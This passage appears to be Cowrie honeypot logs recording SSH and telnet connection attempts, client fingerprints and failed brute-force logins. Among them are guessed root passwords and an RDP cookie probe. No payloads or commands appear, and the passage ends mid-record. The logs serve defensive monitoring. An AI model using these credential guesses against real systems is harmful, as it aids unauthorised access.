{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:12:27.941072Z","src_ip":"103.27.238.114","session":"5fbcbe2c3747","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":37.453102827072144,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:12:28.655259Z","src_ip":"152.42.224.71","session":"4427ec7c33c0","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"12312","message":"login attempt [root/12312] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:12:28.716398Z","src_ip":"103.27.238.114","session":"5fbcbe2c3747","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:12:29.978401Z","src_ip":"103.27.238.114","session":"5fbcbe2c3747","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.75.182.198","src_port":33034,"dst_ip":"159.203.135.109","dst_port":22,"session":"bd83eb856e55","protocol":"ssh","message":"New connection: 103.75.182.198:33034 (159.203.135.109:22) [session: bd83eb856e55]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:12:33.811986Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:12:33.816444Z","src_ip":"103.75.182.198","session":"bd83eb856e55","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:12:34.066016Z","src_ip":"103.75.182.198","session":"bd83eb856e55","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"vtkmybrjd","message":"login attempt [root/vtkmybrjd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:12:34.805716Z","src_ip":"103.75.182.198","session":"bd83eb856e55","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:12:36.055330Z","src_ip":"103.75.182.198","session":"bd83eb856e55","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.32.162.145","src_port":38974,"dst_ip":"10.17.0.5","dst_port":22,"session":"cecb545681d7","protocol":"ssh","message":"New connection: 193.32.162.145:38974 (10.17.0.5:22) [session: cecb545681d7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:12:37.568884Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:12:37.573817Z","src_ip":"193.32.162.145","session":"cecb545681d7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:12:37.681548Z","src_ip":"193.32.162.145","session":"cecb545681d7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sol","password":"ssolana","message":"login attempt [sol/ssolana] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:12:38.004581Z","src_ip":"193.32.162.145","session":"cecb545681d7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:12:39.113759Z","src_ip":"193.32.162.145","session":"cecb545681d7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":36812,"dst_ip":"10.17.0.5","dst_port":23,"session":"e678c5ef66c6","protocol":"telnet","message":"New connection: 152.42.224.71:36812 (10.17.0.5:23) [session: e678c5ef66c6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:12:46.516551Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":36816,"dst_ip":"10.17.0.5","dst_port":23,"session":"9ec404676fa1","protocol":"telnet","message":"New connection: 152.42.224.71:36816 (10.17.0.5:23) [session: 9ec404676fa1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:12:53.587749Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":57804,"dst_ip":"10.17.0.5","dst_port":23,"session":"d73295b99be1","protocol":"telnet","message":"New connection: 152.42.224.71:57804 (10.17.0.5:23) [session: d73295b99be1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:12:57.530008Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.98.149.87","src_port":33562,"dst_ip":"10.17.0.5","dst_port":22,"session":"10ce4b6e14d1","protocol":"ssh","message":"New connection: 103.98.149.87:33562 (10.17.0.5:22) [session: 10ce4b6e14d1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:13:13.157947Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:13:13.163088Z","src_ip":"103.98.149.87","session":"10ce4b6e14d1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:13:13.440277Z","src_ip":"103.98.149.87","session":"10ce4b6e14d1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1234562","message":"login attempt [root/1234562] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:13:14.166753Z","src_ip":"103.98.149.87","session":"10ce4b6e14d1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:13:15.402612Z","src_ip":"103.98.149.87","session":"10ce4b6e14d1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"194.59.206.2","src_port":26184,"dst_ip":"10.17.0.5","dst_port":22,"session":"b347f14dddef","protocol":"ssh","message":"New connection: 194.59.206.2:26184 (10.17.0.5:22) [session: b347f14dddef]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:13:24.053329Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:13:24.058023Z","src_ip":"194.59.206.2","session":"b347f14dddef","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":50700,"dst_ip":"10.17.0.5","dst_port":23,"session":"f4d9918638fb","protocol":"telnet","message":"New connection: 152.42.224.71:50700 (10.17.0.5:23) [session: f4d9918638fb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:13:24.099203Z"}
{"eventid":"cowrie.client.kex","hassh":"e54ef3ec27fe1fea7ab64d3fa05359fd","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group1-sha1,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1;chacha20-poly1305@openssh.com,aes128-gcm@openssh.com,aes256-gcm@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,arcfour256,arcfour128,arcfour,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group1-sha1","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes128-gcm@openssh.com","aes256-gcm@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","arcfour256","arcfour128","arcfour","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: e54ef3ec27fe1fea7ab64d3fa05359fd","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:13:24.144169Z","src_ip":"194.59.206.2","session":"b347f14dddef","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.2","message":"Connection lost after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:13:24.252331Z","src_ip":"194.59.206.2","session":"b347f14dddef","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":42930,"dst_ip":"10.17.0.5","dst_port":23,"session":"0ca815493dcd","protocol":"telnet","message":"New connection: 152.42.224.71:42930 (10.17.0.5:23) [session: 0ca815493dcd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:13:27.259485Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":42944,"dst_ip":"10.17.0.5","dst_port":23,"session":"26ecbcd78e2a","protocol":"telnet","message":"New connection: 152.42.224.71:42944 (10.17.0.5:23) [session: 26ecbcd78e2a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:13:28.260504Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.75.183.219","src_port":33528,"dst_ip":"10.17.0.5","dst_port":22,"session":"905f9399a64a","protocol":"ssh","message":"New connection: 103.75.183.219:33528 (10.17.0.5:22) [session: 905f9399a64a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:13:28.607415Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:13:28.611825Z","src_ip":"103.75.183.219","session":"905f9399a64a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:13:28.853292Z","src_ip":"103.75.183.219","session":"905f9399a64a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123321123321","message":"login attempt [root/123321123321] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:13:29.578747Z","src_ip":"103.75.183.219","session":"905f9399a64a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:13:30.823356Z","src_ip":"103.75.183.219","session":"905f9399a64a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":43.414254665374756,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:13:37.001909Z","src_ip":"152.42.224.71","session":"9ec404676fa1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":107.97340059280396,"message":"Connection lost after 107 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:13:43.439185Z","src_ip":"152.42.224.71","session":"7e1b508c039d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":57.09733271598816,"message":"Connection lost after 57 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:13:43.613771Z","src_ip":"152.42.224.71","session":"e678c5ef66c6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":48.32673525810242,"message":"Connection lost after 48 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:13:45.856626Z","src_ip":"152.42.224.71","session":"d73295b99be1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":58398,"dst_ip":"10.17.0.5","dst_port":23,"session":"22fe1caf710e","protocol":"telnet","message":"New connection: 152.42.224.71:58398 (10.17.0.5:23) [session: 22fe1caf710e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:13:47.424850Z"}
{"eventid":"cowrie.session.closed","duration":40.46255040168762,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:14:07.721936Z","src_ip":"152.42.224.71","session":"0ca815493dcd","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":52688,"dst_ip":"10.17.0.5","dst_port":23,"session":"acdf5a822da1","protocol":"telnet","message":"New connection: 152.42.224.71:52688 (10.17.0.5:23) [session: acdf5a822da1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:14:10.517912Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.212.128","src_port":60528,"dst_ip":"159.203.135.109","dst_port":22,"session":"58f902e92b1f","protocol":"ssh","message":"New connection: 152.42.212.128:60528 (159.203.135.109:22) [session: 58f902e92b1f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:14:10.723917Z"}
{"eventid":"cowrie.client.version","version":"\u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","message":"Remote SSH version: \u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:14:10.729499Z","src_ip":"152.42.212.128","session":"58f902e92b1f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:14:10.733592Z","src_ip":"152.42.212.128","session":"58f902e92b1f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":32.12733030319214,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:14:19.552076Z","src_ip":"152.42.224.71","session":"22fe1caf710e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":56.45393919944763,"message":"Connection lost after 56 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:14:24.714319Z","src_ip":"152.42.224.71","session":"26ecbcd78e2a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":37540,"dst_ip":"10.17.0.5","dst_port":23,"session":"8836f3265303","protocol":"telnet","message":"New connection: 152.42.224.71:37540 (10.17.0.5:23) [session: 8836f3265303]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:14:40.587655Z"}
{"eventid":"cowrie.session.connect","src_ip":"193.32.162.145","src_port":37896,"dst_ip":"10.17.0.5","dst_port":22,"session":"fcfc81f0defe","protocol":"ssh","message":"New connection: 193.32.162.145:37896 (10.17.0.5:22) [session: fcfc81f0defe]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:14:48.825144Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:14:48.833648Z","src_ip":"193.32.162.145","session":"fcfc81f0defe","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ss